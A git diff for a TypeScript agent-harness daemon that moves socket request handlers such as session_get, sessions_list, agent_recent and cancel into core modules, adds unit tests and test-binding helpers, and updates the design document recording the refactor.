} from '../../lib/agentFrame.js'import { messagesToEvents, SubagentStats, windowRawLines, type SessionEvent } from '../../lib/normalize.js'import { projectDisplayName, type RegisteredSession } from '../../lib/registry.js'import type { TranscriptPager } from '../../lib/transcriptPages.js'@@ -47,9 +49,9 @@ export interface HistoryDeps {/** The conversations kept as stopped harnesses (lib/stoppedAgents.ts): a stop's, an exited engine's,* and one a restart, a move or a restore had to leave for a new one. */stopped: () => readonly RegisteredSession[]- /** Claude Code's and Codex's pages. The socket's pager, so the line index it keeps for a transcript is- * shared with the line counts `sessions_list` answers, not built twice. */- pages: Pick<TranscriptPager, 'claude' | 'codex'>+ /** Claude Code's and Codex's pages, and every transcript's line count: one pager, so the line index it+ * keeps for a transcript serves both requests and is not built twice. */+ pages: Pick<TranscriptPager, 'claude' | 'codex' | 'lineCount'>/** The database engines' stores. */dbs: { opencode: string; kilo: string; devin: string }/** Hermes keeps a store per profile: the one this session's lives in. */@@ -126,7 +128,7 @@ async function enrichSubagentStats(events: SessionEvent[], transcriptPath: strin/** What a window asks for: `limit` records before the `before` cursor. No limit asks for all of them. */interface PageAsk { limit?: number; before?: string }-/** One database engine's answer to `session_get`. */+/** One database engine's answer to `session_get`, about `s`, under the id it was asked by. */type DatabasePage = (s: RegisteredSession, sessionId: string, ask: PageAsk) => Promise<Record<string, unknown>>/**@@ -139,13 +141,13 @@ type DatabasePage = (s: RegisteredSession, sessionId: string, ask: PageAsk) => P* rather than silently indexing into the wrong conversation.*/function databasePage<M>(- read: (s: RegisteredSession, sessionId: string) => Promise<M[]>,+ read: (s: RegisteredSession) => Promise<M[]>,toEvents: (messages: M[]) => SessionEvent[],windowOf: (messages: M[], opts: { limit: number; before?: string }) =>{ window: M[]; hasMore: boolean; oldestCursor: string | null; staleCursor?: boolean },): DatabasePage {return async (s, sessionId, { limit, before }) => {- const messages = await read(s, sessionId)+ const messages = await read(s)const timestamp = new Date(s.touchedAt).toISOString()if (!limit) {return { id: sessionId, title: projectDisplayName(s), events: toEvents(messages), timestamp, engine: s.engine }@@ -164,10 +166,10 @@ export function createHistory({ resolve, stopped, pages, dbs, hermesDb }: Histor// Devin, OpenCode and Kilo keep one store on this machine. Hermes keeps one per HOME, so its path is// the session's own (`hermesDb`) rather than this machine's default.const databases = new Map<string, DatabasePage>([- ['devin', databasePage((_s, sessionId) => readDevinMessages(dbs.devin, sessionId), devinMessagesToEvents, windowDevinMessages)],- ['hermes', databasePage(async (s, sessionId) => readHermesMessages(await hermesDb(s), sessionId), hermesMessagesToEvents, windowHermesMessages)],- ['opencode', databasePage((_s, sessionId) => readOpencodeMessages(dbs.opencode, sessionId), opencodeMessagesToEvents, windowOpencodeMessages)],- ['kilo', databasePage((_s, sessionId) => readKiloMessages(dbs.kilo, sessionId), kiloMessagesToEvents, windowKiloMessages)],+ ['devin', databasePage((s) => readDevinMessages(dbs.devin, s.sessionId), devinMessagesToEvents, windowDevinMessages)],+ ['hermes', databasePage(async (s) => readHermesMessages(await hermesDb(s), s.sessionId), hermesMessagesToEvents, windowHermesMessages)],+ ['opencode', databasePage((s) => readOpencodeMessages(dbs.opencode, s.sessionId), opencodeMessagesToEvents, windowOpencodeMessages)],+ ['kilo', databasePage((s) => readKiloMessages(dbs.kilo, s.sessionId), kiloMessagesToEvents, windowKiloMessages)],])/** The reply to a `session_get` request, for the socket to send as it is. */@@ -181,6 +183,9 @@ export function createHistory({ resolve, stopped, pages, dbs, hermesDb }: Histor// leave for a new one could no longer be read at all (round 24).const s = resolve(sessionId) ?? stopped().find((saved) => saved.sessionId === sessionId)if (!s) return { error: 'NOT_FOUND' }+ // The registry finds an agent by its agent id too, and the reply names the id it was asked by. What+ // is read is the conversation's own, `s.sessionId`: an engine's store, Amp's export and Cursor's task+ // links know that id alone, and under the agent id they read nothing.// Optional pagination: `limit` = window size; `before` = cursor (the oldest record the// client already holds). Absent → full transcript (legacy). Clamp limit defensively.const rawLimit = payload.limit@@ -238,11 +243,11 @@ export function createHistory({ resolve, stopped, pages, dbs, hermesDb }: Historif (!limit) {const fullEvents = s.engine === 'cursor'- ? cursorMessagesToEvents(lines, sessionId, await loadCursorReplayTaskLinks(cursorConfigDir(), sessionId, cursorDataDir()))+ ? cursorMessagesToEvents(lines, s.sessionId, await loadCursorReplayTaskLinks(cursorConfigDir(), s.sessionId, cursorDataDir())): s.engine === 'muse'? museMessagesToEvents(lines): s.engine === 'amp'- ? await ampHistory(sessionId, lines)+ ? await ampHistory(s.sessionId, lines): s.engine === 'grok'? grokHistoryPage(lines, false).events: s.engine === 'agy'@@ -284,7 +289,7 @@ export function createHistory({ resolve, stopped, pages, dbs, hermesDb }: Historid: sessionId,title: projectDisplayName(s),events: s.engine === 'amp'- ? await ampHistory(sessionId, lines)+ ? await ampHistory(s.sessionId, lines): wholePage? wholePage.events: museMessagesToEvents(lines),@@ -308,8 +313,8 @@ export function createHistory({ resolve, stopped, pages, dbs, hermesDb }: Historconst events = s.engine === 'cursor'? cursorMessagesToEvents(w.window,- sessionId,- await loadCursorReplayTaskLinks(cursorConfigDir(), sessionId, cursorDataDir()),+ s.sessionId,+ await loadCursorReplayTaskLinks(cursorConfigDir(), s.sessionId, cursorDataDir()),'startIndex' in w && typeof w.startIndex === 'number' ? w.startIndex : 0,'initialTodos' in w && Array.isArray(w.initialTodos) ? w.initialTodos : [],)@@ -334,5 +339,28 @@ export function createHistory({ resolve, stopped, pages, dbs, hermesDb }: Histor}}- return { sessionGet }+ /** The reply to a `sessions_list` request: the one conversation an agent holds, for the socket to send. */+ const sessionsList = async (payload: Record<string, unknown>): Promise<Record<string, unknown>> => {+ const projectId = payload.agentId as string | undefined+ if (!projectId) return { error: 'MISSING_AGENT_ID' }+ const s = resolve(projectId)+ // An agent whose engine has not reported a session yet has no transcript to list. Saying so+ // plainly beats inventing one: the web then shows the tab with an empty thread until the bind+ // lands, instead of pinning `currentSessionId` to an id no event will ever carry.+ if (!s || !s.sessionId) return { sessions: [] }+ // Counted from an index kept as the file grows (lib/transcriptPages.ts), not by reading it whole.+ const messageCount = s.transcriptPath ? await pages.lineCount(s.transcriptPath) : 0+ return {+ sessions: [{+ id: s.sessionId,+ title: projectDisplayName(s),+ timestamp: new Date(s.registeredAt).toISOString(),+ messageCount,+ lastActivity: new Date(await lastActivityAt(s)).toISOString(),+ participants: [],+ }],+ }+ }++ return { sessionGet, sessionsList }}diff --git a/cli/src/core/turns/cancel.spec.ts b/cli/src/core/turns/cancel.spec.tsindex d7b7abab6..0c1e66df7 100644--- a/cli/src/core/turns/cancel.spec.ts+++ b/cli/src/core/turns/cancel.spec.ts@@ -1,6 +1,6 @@import { describe, expect, it, vi } from 'vitest'import type { RegisteredSession } from '../../lib/registry.js'-import { createCancel, type CancelDeps } from './cancel.js'+import { createCancel, createCancelRequest, type CancelDeps } from './cancel.js'function setup(over: Partial<CancelDeps> = {}) {const calls: string[] = []@@ -72,3 +72,15 @@ describe('cancelling a turn', () => {expect(await none.cancelAgent('a1')).toBe(true)})})++describe('a cancel frame', () => {+ it('interrupts the agent it names by agent id, or by session id, and takes a frame naming neither as nothing', () => {+ const cancel = vi.fn()+ const request = createCancelRequest(cancel)+ request({ agentId: 'a1', sessionId: 's1' })+ request({ sessionId: 's2' })+ request({ agentId: '' })+ request({})+ expect(cancel.mock.calls).toEqual([['a1'], ['s2']])+ })+})diff --git a/cli/src/core/turns/cancel.ts b/cli/src/core/turns/cancel.tsindex 6b0701615..f147ef500 100644--- a/cli/src/core/turns/cancel.ts+++ b/cli/src/core/turns/cancel.ts@@ -62,3 +62,16 @@ export function createCancel({}return cancelAgent}++/**+ * Takes a `cancel` frame: the person interrupted an agent's turn (C-c from the app), the agent named by+ * agent id or session id. Nothing is answered: every window reads the agent as idle once it is.+ *+ * Moved verbatim out of the socket's request switch (docs/design/2026-10-03-harnessd.md).+ */+export function createCancelRequest(cancel: (id: string) => void) {+ return (payload: Record<string, unknown>): void => {+ const target = (payload.agentId as string | undefined) || (payload.sessionId as string | undefined)+ if (target) cancel(target)+ }+}diff --git a/cli/src/core/turns/recaps.spec.ts b/cli/src/core/turns/recaps.spec.tsindex 916ae98f3..9f09bab7d 100644--- a/cli/src/core/turns/recaps.spec.ts+++ b/cli/src/core/turns/recaps.spec.ts@@ -121,4 +121,19 @@ describe('recaps', () => {expect(recent.mock.calls).toEqual([['s1', 3], ['old-s', 2], ['s9', 1]])expect(asks.mock.calls).toEqual([['s1', 5], ['old-s', undefined], ['s9', 1]])})++ it('answers agent_recent with an agent\'s summaries and questions, two of each unless one to five are asked for', () => {+ const { recaps } = setup()+ const summary = { kind: 'summary', text: 'body', recap: 'recap' }+ const recent = vi.spyOn(recaps.mirror, 'recent').mockReturnValue([summary])+ const asks = vi.spyOn(recaps.mirror, 'recentAsks').mockReturnValue(['which build is this?'])+ expect(recaps.agentRecent({})).toStrictEqual({ error: 'MISSING_AGENT_ID' })+ const reply = recaps.agentRecent({ agentId: 'a1' })+ expect(reply).toStrictEqual({ agentId: 'a1', events: [summary], asks: ['which build is this?'] })+ expect(Object.keys(reply)).toEqual(['agentId', 'events', 'asks'])+ for (const n of [0, 'many', 9, -3, 3.5]) recaps.agentRecent({ agentId: 'a1', n })+ expect(recent.mock.calls.map(([, n]) => n)).toEqual([2, 2, 2, 5, 1, 3.5])+ expect(asks.mock.calls.map(([, n]) => n)).toEqual([2, 2, 2, 5, 1, 3.5])+ expect(recent).toHaveBeenCalledWith('s1', 2)+ })})diff --git a/cli/src/core/turns/recaps.ts b/cli/src/core/turns/recaps.tsindex 87b6f265f..10514dfbc 100644--- a/cli/src/core/turns/recaps.ts+++ b/cli/src/core/turns/recaps.ts@@ -104,7 +104,27 @@ export function createRecaps({// and the voice router know. Resolve across the two, or every tile restores empty.const recent = (id: string, n: number) => mirror.recent(resolve(id)?.sessionId || stopped(id)?.sessionId || id, n)const recentAsks = (id: string, n?: number) => mirror.recentAsks(resolve(id)?.sessionId || stopped(id)?.sessionId || id, n)- return { mirror, isSubagentSession, recent, recentAsks }+ /**+ * The reply to `agent_recent`: an agent's last turn summaries and the person's last questions. Asked+ * by a device restoring its tiles at boot, so it holds only what was summarized (recap and body),+ * never a resurrected full-text card, and nothing until a turn was summarized.+ *+ * Moved verbatim out of the socket's request switch (docs/design/2026-10-03-harnessd.md).+ */+ const agentRecent = (payload: Record<string, unknown>): Record<string, unknown> => {+ const projectId = payload.agentId as string | undefined+ if (!projectId) return { error: 'MISSING_AGENT_ID' }+ const n = Math.max(1, Math.min(5, Number(payload.n) || 2))+ const events = recent(projectId, n)+ // ASKS TRAVEL AS THEIR OWN LIST, beside the events rather than inside them. A question exists+ // the moment it is asked; a recap exists once the turn has been answered and summarised. They+ // are different lengths on any machine where a turn ended without one, so a reply that folds+ // the questions into the event rows loses exactly the newest ones — and a REMOTE agent then+ // reaches the router with nothing but its name.+ const asks = recentAsks(projectId, n)+ return { agentId: projectId, events, asks }+ }+ return { mirror, isSubagentSession, recent, recentAsks, agentRecent }}export type Recaps = ReturnType<typeof createRecaps>diff --git a/cli/src/services/fleetRouter.ts b/cli/src/services/fleetRouter.tsindex bce3882eb..1bd36b5b3 100644--- a/cli/src/services/fleetRouter.ts+++ b/cli/src/services/fleetRouter.ts@@ -168,7 +168,7 @@ export class FleetRouter implements FleetRouting {// the carousel cannot walk to is a pane the dial cannot explain either. A terminal that has// adopted an engine is that engine here, as everywhere.//- // ⚠️ NOT the same question as `deviceAgentRow` in backendSocket.ts, which keeps shells out of the+ // ⚠️ NOT the same question as `deviceAgentRow` in core/agents/list.ts, which keeps shells out of the// `agents_list` RPC a CLOUD device asks over the backend. This is the cable's own list, pulled by// `listAgents()` on the session's tick; the two surfaces answer separately and always did.const sessions = this.local.sessions()diff --git a/cli/src/testing/socketCore.ts b/cli/src/testing/socketCore.tsnew file mode 100644index 000000000..17b404a48--- /dev/null+++ b/cli/src/testing/socketCore.ts@@ -0,0 +1,134 @@+/**+ * The core's requests answered the way the daemon answers them, for a socket a spec builds on its own.+ * Requests that left the socket's switch for the core are bound by cli.ts, so a bare socket answers them+ * UNSUPPORTED. These bind them the same way, over the registry and the socket's own pieces, read when a+ * request comes in so a spec can still swap a piece after binding.+ */+import { join } from 'node:path'+import type { BackendSocket } from '../backendSocket.js'+import { env } from '../config/env.js'+import { createCloseRequests } from '../core/agents/close.js'+import { createHandoffRequest, type Handoff, type HandoffRequest } from '../core/agents/handoff.js'+import { createLaunchRequests, type RestartAgent, type ResumeAgent } from '../core/agents/launches.js'+import { createPurgeRequest, createStopRequest } from '../core/agents/lifecycle.js'+import { createAgentList, type AgentListDeps } from '../core/agents/list.js'+import { createAgentUpdate } from '../core/agents/update.js'+import { createMessageRequest } from '../core/input.js'+import { createQuestionResponse } from '../core/questions.js'+import { createHistory } from '../core/transcripts/history.js'+import { createTerminalRequests, type TerminalRequestDeps } from '../core/terminals/requests.js'+import { createCancelRequest } from '../core/turns/cancel.js'+import { AgentCreationReceipts } from '../lib/agentCreationReceipt.js'+import { hermesDbForSession } from '../lib/hermesHome.js'+import { registry } from '../lib/registry.js'+import { stoppedAgents } from '../lib/stoppedAgents.js'+import { TranscriptPager } from '../lib/transcriptPages.js'+import { tmuxPaneInfo } from '../lib/tmux.js'++/** `session_get` and `sessions_list` (core/transcripts/history.ts), over the registry and the saved+ * harnesses, and a pager of their own. */+export function bindHistory(socket: BackendSocket): void {+ const history = createHistory({+ resolve: (id) => registry.resolve(id),+ stopped: () => stoppedAgents.list(),+ pages: new TranscriptPager(),+ dbs: { opencode: join(env.OPENCODE_DATA_DIR, 'opencode.db'), kilo: join(env.KILO_DATA_DIR, 'kilo.db'), devin: join(env.DEVIN_HOME, 'sessions.db') },+ hermesDb: (s) => hermesDbForSession(s),+ })+ socket.historyProvider = history.sessionGet+ socket.sessionsProvider = history.sessionsList+}++/** `agents_list` (core/agents/list.ts). The daemon knows each agent's activity; a bare socket does not,+ * unless a spec says what it is. */+export function bindAgentList(socket: BackendSocket, over: Partial<AgentListDeps> = {}): void {+ socket.agentsProvider = createAgentList({+ registry,+ stoppedAgents,+ toProject: (s) => socket.toProject(s),+ toStoppedProject: (s) => socket.toStoppedProject(s),+ harnessResourcesReader: () => socket.harnessResourcesReader(),+ harnessStorageReader: (agents, invalidate) => socket.harnessStorageReader(agents, invalidate),+ monitorActivityProvider: null,+ monitorCompletions: socket.monitorCompletions,+ ...over,+ }).agentsList+}++/** `terminal_info` and `theme_set` (core/terminals/requests.ts). A bare socket paints no panes: a spec+ * that checks a theme says where it goes. */+export function bindTerminalRequests(socket: BackendSocket, over: Partial<TerminalRequestDeps> = {}): void {+ const requests = createTerminalRequests({ resolve: (id) => registry.resolve(id), paneInfo: (pane) => tmuxPaneInfo(pane), applyTheme: () => {}, ...over })+ socket.terminalInfoProvider = requests.terminalInfo+ socket.themeProvider = requests.themeSet+}++/** `question_response` (core/questions.ts), keyed into a dialog by `answer`. */+export function bindQuestionResponse(socket: BackendSocket, answer: Parameters<typeof createQuestionResponse>[0]): void {+ socket.questionProvider = createQuestionResponse(answer)+}++/** `message` (core/input.ts), written into a pane by `submit`. */+export function bindMessageRequest(socket: BackendSocket, submit: Parameters<typeof createMessageRequest>[0]): void {+ socket.messageProvider = createMessageRequest(submit)+}++/** `cancel` (core/turns/cancel.ts), a turn interrupted by `cancel`. */+export function bindCancelRequest(socket: BackendSocket, cancel: Parameters<typeof createCancelRequest>[0]): void {+ socket.cancelProvider = createCancelRequest(cancel)+}++/** `agent_delete` (core/agents/lifecycle.ts), stopped by `stop`. */+export function bindStopRequest(socket: BackendSocket, stop: (agentId: string) => void | Promise<void>): void {+ socket.stopProvider = createStopRequest({ byAgent: (id) => registry.byAgent(id), stop })+}++/** `agents_cleanup_preview` and `agent_close` (core/agents/close.ts), closing through the socket's own close+ * service, which the daemon also gives it to dispose of. */+export function bindCloseRequests(socket: BackendSocket, cleanupPreview: () => Promise<Record<string, unknown>> = async () => ({ version: 1, agents: [], kept: 0 })): void {+ const requests = createCloseRequests({ cleanupPreview, closeAgentService: () => socket.closeAgentService })+ socket.cleanupPreviewProvider = requests.preview+ socket.closeProvider = requests.close+}++/** `agent_purge` and `agent_worktree_delete` (core/agents/lifecycle.ts), through the socket's own purge service. */+export function bindPurgeRequest(socket: BackendSocket): void {+ socket.purgeProvider = createPurgeRequest({ purgeAgentService: () => socket.purgeAgentService, invalidateStorage: () => { void socket.harnessStorageReader([], true) } })+}++/** `agent_update` (core/agents/update.ts). A bare socket moves no agent to another model and titles no pane. */+export function bindAgentUpdate(socket: BackendSocket): void {+ socket.agentUpdateProvider = createAgentUpdate({+ registry, clients: socket, toProject: (s) => socket.toProject(s), closeAgentService: () => socket.closeAgentService,+ onAgentRename: null, onRuntimeProfileUpdate: null,+ }).agentUpdate+}++/** `agent_handoff_prepare` (core/agents/handoff.ts), written by `prepare`, or by nothing when it is null. */+export function bindHandoffRequest(socket: BackendSocket, prepare: ((req: HandoffRequest) => Promise<Handoff>) | null): void {+ socket.handoffRequestProvider = createHandoffRequest({ prepare })+}++const launchers = new WeakMap<BackendSocket, { resume: ResumeAgent | null; restart: RestartAgent | null }>()+/** `agent_create`, `agent_create_status`, `agent_resume`, `agent_restart` and `agent_fork`+ * (core/agents/launches.ts), over the socket's create and fork slots and receipts of their own. A spec+ * that resumes or restarts says through what; each call adds to what the last one said. */+export function bindLaunchRequests(socket: BackendSocket, over: { resume?: ResumeAgent | null; restart?: RestartAgent | null } = {}): void {+ let launcher = launchers.get(socket)+ if (!launcher) {+ const state = { resume: null as ResumeAgent | null, restart: null as RestartAgent | null }+ launcher = state+ launchers.set(socket, state)+ const launches = createLaunchRequests({+ receipts: new AgentCreationReceipts(join(env.ADAPTER_DATA_DIR, 'agent-creations')),+ createAgent: () => socket.onCreateAgent, forkAgent: () => socket.onForkAgent,+ resumeAgent: () => state.resume, restartAgent: () => state.restart,+ byAgent: (id) => registry.byAgent(id), toProject: (s) => socket.toProject(s),+ })+ socket.createProvider = launches.create+ socket.createStatusProvider = launches.createStatus+ socket.restartProvider = launches.relaunch+ socket.forkProvider = launches.fork+ }+ Object.assign(launcher, over)+}diff --git a/cli/src/testing/socketHistory.ts b/cli/src/testing/socketHistory.tsdeleted file mode 100644index 9219f8616..000000000--- a/cli/src/testing/socketHistory.ts+++ /dev/null@@ -1,23 +0,0 @@-/**- * `session_get` answered the way the daemon answers it, for a socket a spec builds on its own. The request- * left the socket's switch for the core (core/transcripts/history.ts), and cli.ts binds it, so a bare- * socket answers it UNSUPPORTED. This binds it the same way: over the registry and the saved harnesses, the- * socket's own pager and the engines' stores.- */-import { join } from 'node:path'-import type { BackendSocket } from '../backendSocket.js'-import { env } from '../config/env.js'-import { createHistory } from '../core/transcripts/history.js'-import { hermesDbForSession } from '../lib/hermesHome.js'-import { registry } from '../lib/registry.js'-import { stoppedAgents } from '../lib/stoppedAgents.js'--export function bindHistory(socket: BackendSocket): void {- socket.historyProvider = createHistory({- resolve: (id) => registry.resolve(id),- stopped: () => stoppedAgents.list(),- pages: socket.transcriptPages,- dbs: { opencode: join(env.OPENCODE_DATA_DIR, 'opencode.db'), kilo: join(env.KILO_DATA_DIR, 'kilo.db'), devin: join(env.DEVIN_HOME, 'sessions.db') },- hermesDb: (s) => hermesDbForSession(s),- }).sessionGet-}diff --git a/docs/design/2026-10-03-harnessd.md b/docs/design/2026-10-03-harnessd.mdindex 671d5f2cb..ae81af2e0 100644--- a/docs/design/2026-10-03-harnessd.md+++ b/docs/design/2026-10-03-harnessd.md@@ -590,10 +590,16 @@ Done so far:- **What the daemon survives** (`e2e/robustness.e2e.ts`): hostile local clients, strangers andmalformed bodies at the hook door, a pane killed from outside, a turn that outlives a restart, aturn that ends while the daemon is down, and garbage state files at start.-- **The request switch's cases go to their owners, starting with `session_get`**- (`cli/src/core/transcripts/history.ts`, at 100%). The socket's case is one call into the slot cli.ts- binds, and the four database engines share one windowing path instead of a copy each. Every reply is- unchanged, field for field. `backendSocket.ts` is down from 3,482 lines to 3,139.+- **The request switch's cases go to their owners** (`cli/src/core`, each file at 100%): `session_get`+ and `sessions_list` (`transcripts/history.ts`, where the four database engines now share one windowing+ path), `agents_list` (`agents/list.ts`), `agent_recent` (`turns/recaps.ts`), `terminal_info` and+ `theme_set` (`terminals/requests.ts`), `question_response` (`questions.ts`), `message` (`input.ts`),+ `cancel` (`turns/cancel.ts`), `agent_delete` and the purges (`agents/lifecycle.ts`), `agent_close` and+ `agents_cleanup_preview` (`agents/close.ts`), `agent_update` (`agents/update.ts`),+ `agent_handoff_prepare` (`agents/handoff.ts`), and the launches with their receipts+ (`agents/launches.ts`). Each case is one call into a slot cli.ts binds, and every reply is unchanged,+ field for field, but one fix: `session_get` asked by agent id now reads the conversation's own id.+ `backendSocket.ts` is down from 3,482 lines to 2,524.- **Platform supervision, opt-in** (`harness service install | uninstall | status`;`cli/src/harnessd/platform.ts`, `cli/src/lib/serviceCommand.ts`, `cli/src/lib/platformDaemon.ts`). Alaunchd user agent (`~/Library/LaunchAgents/ai.autonomous.harness.harnessd.plist`) or a systemd user@@ -723,7 +729,24 @@ start-up lint stay as they are; each is checked by `tsc`, the unit suites and ththem: gathering them into one call would reorder a start-up `startupOrder.spec.ts` pins, fornothing a test cannot give.-Moving the request switch's case bodies into a file per owner comes after.+After that, the request switch's case bodies move into a file per owner. What the switch held on+5 October, beyond the requests services answer themselves, and where it went:++- **Moved to the core,** each to the module that owns it, one slot each (see "Done so far"):+ - agents: `agents_list`, `agent_recent`, `agent_update`, `agent_create_status`, `agent_create`,+ `agent_fork`, `agent_resume` and `agent_restart`, `agent_delete`, `agent_close`,+ `agents_cleanup_preview`, `agent_purge` and `agent_worktree_delete`, `agent_handoff_prepare`;+ - transcripts: `session_get`, `sessions_list`;+ - terminals: `terminal_info`, `theme_set`;+ - input, turns and questions: `message`, `cancel`, `question_response`.+- **Core, staying for now:** `agent_retarget`, whose target resolution reads the socket's grid state+ and the API store, which is the models service's to answer first; and `remote_terminal_handoff`,+ whose logic is transport: which local clients, and how many windows, can hear the swap.+- **Not core:** telemetry (`machine_resources`), models and grids (`grid_*`, `models_list`,+ `engines_probe`), pairing and E2EE, `voice_route`, the project and folder readers (`git_*`,+ `project_preview`, `fs_list_dir`, `agent_read_file`), Codex profiles, `usage_read`,+ `harness_devices_*`, `speaking` (a device's presence, echoed to the others) and the legacy+ `claude_login_status`.What has to survive the move exactly: